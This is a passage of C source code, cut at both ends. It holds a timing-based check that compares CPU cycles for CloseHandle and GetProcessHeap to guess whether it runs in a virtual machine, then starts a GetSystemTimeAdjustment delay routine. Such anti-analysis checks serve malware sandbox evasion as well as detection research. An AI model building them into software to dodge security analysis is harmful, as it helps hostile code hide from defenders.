// Did it take at least 10 times more CPU cycles to perform CloseHandle than it took to perform GetProcessHeap()?
if ((LODWORD(tsc3) - LODWORD(tsc2)) / (LODWORD(tsc2) - LODWORD(tsc1)) >= 10)
return FALSE;
}
// We consistently saw a small ratio of difference between GetProcessHeap and CloseHandle execution times
// so we're probably in a VM!
return TRUE;
}
void GetSystemTimeAdjustmentWithDelay() {
DWORD timeAdjustment = 0;
DWORD timeIncrement = 0;
BOOL timeAdjustmentDisabled = FALSE;
// 调用 GetSystemTimeAdjustment 函数获取时间调整信息